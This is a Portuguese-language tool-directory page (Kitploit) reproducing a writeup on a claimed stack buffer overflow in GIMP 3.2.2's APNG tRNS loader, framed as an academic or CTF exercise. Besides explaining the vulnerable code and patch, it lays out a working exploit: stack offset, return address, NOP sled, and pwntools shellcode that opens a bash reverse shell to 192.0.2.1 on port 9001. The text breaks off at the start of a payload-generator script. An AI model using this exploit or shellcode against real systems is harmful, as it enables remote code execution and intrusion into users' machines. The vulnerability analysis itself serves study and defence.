Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-92183_GIMP_RCE_Proof-of-Concept — O GIMP 3.2.2 contém um estouro de buffer baseado em pilha em seu carregador APNG (load_apng_image) ao processar o chunk tRNS (transparência). Este writeup demonstra uma prova de conceito para execução remota de código explorando essa vulnerabilidade. | Kitploit
Ferramentas/GitHubGitHub/cxu0630/cve-2026-92183_gimp_rce_proof-of-concept
Forensia de MemóriaGeração de PayloadsAnálise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodePapers e PesquisaAprendizado e EducaçãoExploração de Binários
Compartilhar
GitHubcxu0630/cve-2026-92183_gimp_rce_proof-of-concept

CVE-2026-92183_GIMP_RCE_Proof-of-Concept

O GIMP 3.2.2 contém um estouro de buffer baseado em pilha em seu carregador APNG (load_apng_image) ao processar o chunk tRNS (transparência). Este writeup demonstra uma prova de conceito para execução remota de código explorando essa vulnerabilidade.

Ver Repositório
7há 15 diasAinda não revisado

CVE-2026-92183: Estouro de buffer de pilha no tRNS do APNG do GIMP → RCE

Autor: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Data: 2026-11-03
Alvo: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 ALTA)
CWE: CWE-121: Estouro de Buffer Baseado em Pilha
Impacto: Execução Remota de Código (via arquivo PNG/APNG malicioso)

Aviso Legal: Este documento é apenas para fins educacionais. Os números de CVE e versão são de um exercício acadêmico/CTF controlado. Não use isso contra sistemas que você não possui ou não tem permissão explícita para testar.


1. Visão Geral

O GIMP 3.2.2 contém um estouro de buffer baseado em pilha em seu carregador APNG (load_apng_image) ao processar o chunk tRNS (transparência). O comprimento do chunk é confiável sem validação contra o buffer de destino fixo de 256 bytes trns[256], permitindo que um atacante sobrescreva a pilha e sequestre o fluxo de controle.

O documento público existente demonstra apenas uma negação de serviço (o GIMP trava). Este documento estende a análise para um exploit completo de shell reversa ao:

  1. Criar um PNG válido que força o GIMP a seguir o caminho de análise APNG por meio dos chunks acTL/fcTL.
  2. Injetar um chunk tRNS malicioso cujo comprimento excede 256 bytes.
  3. Colocar shellcode na pilha e sobrescrever o endereço de retorno salvo para pular para ele.

O exploit assume um ambiente sem proteções (ASLR desabilitado, NX desabilitado, sem canário de pilha) conforme descrito nos slides de referência. Também discutimos por que essas mitigações são importantes e como o exploit se comporta quando elas estão habilitadas.


2. Análise da Vulnerabilidade

2.1 Estrutura de Chunks PNG e APNG

Um arquivo PNG consiste em chunks:

CampoTamanho
Comprimento4 bytes (big-endian)
Tipo do Chunk4 bytes (ASCII)
Dados do ChunkComprimento bytes
CRC4 bytes

APNG estende o PNG com chunks auxiliares adicionais:

  • acTL (Controle de Animação) — marca o arquivo como um APNG. Deve aparecer antes do primeiro IDAT.
  • fcTL (Controle de Quadro) — precede os dados de cada quadro.
  • fdAT (Dados de Quadro) — contém dados do quadro (alternativa ao IDAT para quadros subsequentes).

O plugin PNG do GIMP (file-png) ramifica para load_apng_file quando vê um chunk acTL, mesmo que a extensão do arquivo seja .png.

2.2 O Código Vulnerável

Do diff do patch:

Versão vulnerável (GIMP 3.2.2):

else if (png_id == id_tRNS)
{
    for (gint i = 0; i < chunk.size; i++)
        trns[i] = chunk.data[i + 8];
}

Versão corrigida (GIMP 3.2.6):

gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
    trns[i] = chunk.data[i + 8];

O buffer de destino é declarado como:

guchar trns[256];

Como chunk.size é lido diretamente do arquivo e não é limitado, um chunk tRNS com size > 256 transborda trns[] na pilha. O deslocamento + 8 indica que chunk.data aponta para o início do chunk (incluindo o cabeçalho de 8 bytes de comprimento + tipo), então chunk.data[i + 8] lê os bytes de dados reais.

2.3 Alcançando a Função Vulnerável

Diagrama de processo para alcançar load_apng_image()

Quando um arquivo é aberto, o núcleo do GIMP seleciona o carregador antes que qualquer código de plug-in seja executado. file_open_pre_check() chama gimp_plug_in_manager_file_procedure_find(), que faz a correspondência por extensão ou bytes mágicos. Um arquivo .apng vai para file-apng-load, e um arquivo com a assinatura PNG vai para file-png-load. O núcleo executa o procedimento escolhido por meio de gimp_plug_in_manager_call_run(), que gera o plug-in file-png como processo filho e envia o nome do procedimento e os argumentos por um pipe. No filho, load_image() sempre é executado primeiro e constrói a camada PNG base. apng_load() então chama load_apng_image() incondicionalmente. png_load() a chama apenas se load_image() viu um chunk png/fcTL. load_apng_image() reabre o arquivo e analisa os chunks por conta própria, então a passagem anterior pelo libpng não valida nada para ela. png_load() também ignora seu valor de retorno e relata sucesso de qualquer forma.

O filho é criado por gimp_spawn_async(), que em sistemas POSIX chama vfork() e em seguida execve() imediatamente (app/core/gimp-spawn.c:171-199). execve() descarta os mapeamentos de memória do filho e carrega o binário file-png e suas bibliotecas do zero. O filho, portanto, não possui nada do heap ou da pilha do pai e, em sistemas com ASLR, recebe um novo layout de endereços a cada abertura de imagem. O que sobrevive ao exec é o ID do processo, os privilégios do usuário, o ambiente que o GIMP passa e quaisquer descritores de arquivo não marcados como close-on-exec. Estes incluem as duas extremidades do pipe passadas na linha de comando. As extremidades do pipe do próprio pai são marcadas como close-on-exec para que o filho não as herde. Isso isola a memória, mas não coloca o filho em sandbox. Um filho comprometido ainda pode ser executado como o usuário, ler os mesmos arquivos e enviar ao pai mensagens e dados de tile forjados pelo pipe e pela memória compartilhada.


3. Desenvolvimento do Exploit

3.1 Layout da Pilha e Deslocamento

O quadro de pilha da função vulnerável (simplificado, compilado com -O2 -z execstack -fno-stack-protector):

+------------------+  <- lower addresses
| trns[256]        |  (offset 0)
+------------------+
| ...              |
| saved RBP        |
| saved RIP        |  <- return address
+------------------+  <- higher addresses

O deslocamento exato do início de trns até o endereço de retorno salvo depende do compilador e das variáveis locais adjacentes. No ambiente de referência, é de 312 bytes. Determinámos isto ao:

  1. Enviar um padrão cíclico como os dados de tRNS.
  2. Provocar a falha do GIMP sob o GDB.
  3. Inspecionar o valor de RIP no momento da falha e calcular o deslocamento com cyclic_find().

Com -O2, o iterador do ciclo i é provavelmente armazenado num registo, pelo que não fica entre o buffer e o endereço de retorno. O deslocamento de 312 bytes corresponde a trns[256] mais alinhamento e outros registos salvos.

3.2 Layout do Payload

Os dados de tRNS são:

[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
  • Filler preenche trns e alcança o endereço de retorno salvo.
  • Endereço de retorno = 0x7ffffffffdeb2 + 0x10 (aponta para o NOP sled).
  • NOP Sled fornece uma área de pouso.
  • Shellcode executa execve("/bin/bash", ...) para gerar um reverse shell.

Shellcode (gerado com pwntools):

context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
    '/bin/bash',
    ['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
    {'PATH': '/usr/bin:/bin'}
))

O execve substitui o processo filho file-png por um shell. Como o GIMP cria um processo filho para a execução do plugin, o shell sobrevive independentemente do processo principal do GIMP (que fica travado à espera do plugin). O atacante recebe um reverse shell na porta 9001.


4. Criação do Payload

4.1 Gerador de Imagem 1x1

Este script cria um PNG mínimo de 1×1 e injeta diretamente o chunk tRNS malicioso. É útil para compreender a estrutura do ficheiro.

#!/usr/bin/env python3
# create_payload.py

from pwn import *
import png
import io
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    276

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →